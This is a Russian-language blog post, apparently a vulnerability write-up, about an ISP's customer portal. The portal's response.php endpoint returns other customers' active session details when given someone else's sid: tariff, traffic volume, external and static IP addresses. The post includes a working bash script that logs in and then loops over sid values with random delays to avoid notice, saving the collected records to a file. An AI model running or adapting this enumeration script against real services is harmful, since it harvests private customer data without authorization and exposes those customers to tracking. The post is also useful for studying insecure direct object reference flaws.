Просмотр информации у провайдера о чужих активных соединениях клиентов
Есть у нас в городе один крупный провайдер, который пару лет назад был монополистом на рынке своих услуг. У провайдера, как у многих, есть сервис «Личный кабинет». В кабинете, разумеется, можно управлять услугами, смотреть статистику, информацию о текущей сессии. Так вот, обновление информации о текущей сессии сделано на ajax, что сразу наводит на мысль — рассмотреть это поподробней. Открыв Firefox, становится видно, данные отправляются php скрипту response.php методом GET, что не принципиально. В переменной action передается название функции внутри серверного скрипта, а в переменной sid передается некий id. Id это id логина пользователя. Надо отметить, что учетные записи у провайдера привязаны к номеру расчетного счета, соответственно, id с номером счета совпадать не может. Сам sid прописывается внутри страницы, отдаваемой сервером после удачной авторизации. Далее в дело вступает curl. Опытным путем удается установить, что если скармливать response.php кукисы, реферера и какой-либо «чужой» sid, то можно натыкаться на чьи-то активные сессии и получать из них следующие данные:
- Название тарифа
- Дата начала сессии
- Длительность активной сессии
- Скорость подключения (надо отметить что она не обязательна соответствует тарифу, все зависит от бонусов и опций)
- Сколько получено и отправлено за активную сессию в Гб
- Внешний IP адрес
- Активирована ли «некоторая» услуга
Небольшой скрипт на баш в помощь:
#!/bin/bash
startId=100000
endId=100005
curl -k -L -e https://provider.ru/ \
-A "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51" \
-d "bip=1&send=%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F+%D0%BF%D0%BE+ip" \
-c cookies \
"https://provider.ru/index.php" > /dev/null
while [ $startId -lt $endId ]
do
rand=$[$RANDOM%25+1]
sec=$(echo ${rand}'s')
sleep $sec
curl -k -L -e https://provider.ru/news.php \
-A "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51" \
-b cookies \
"https://provider.ru/response.php?action=data&sid=$startId" >> stat.xml
startId=$[$startId+1]
done
Данные приходят в виде xml (name — это название тарифа, а не имя клиента)

Изучив еще личный кабинет, удалось выяснить еще то, что в action передаются и другие названия функций, но особо интересных нет, разве только то, что можно определить, подключена ли услуга статический IP. Если да, то этот IP возвращается, судя по ответной xml.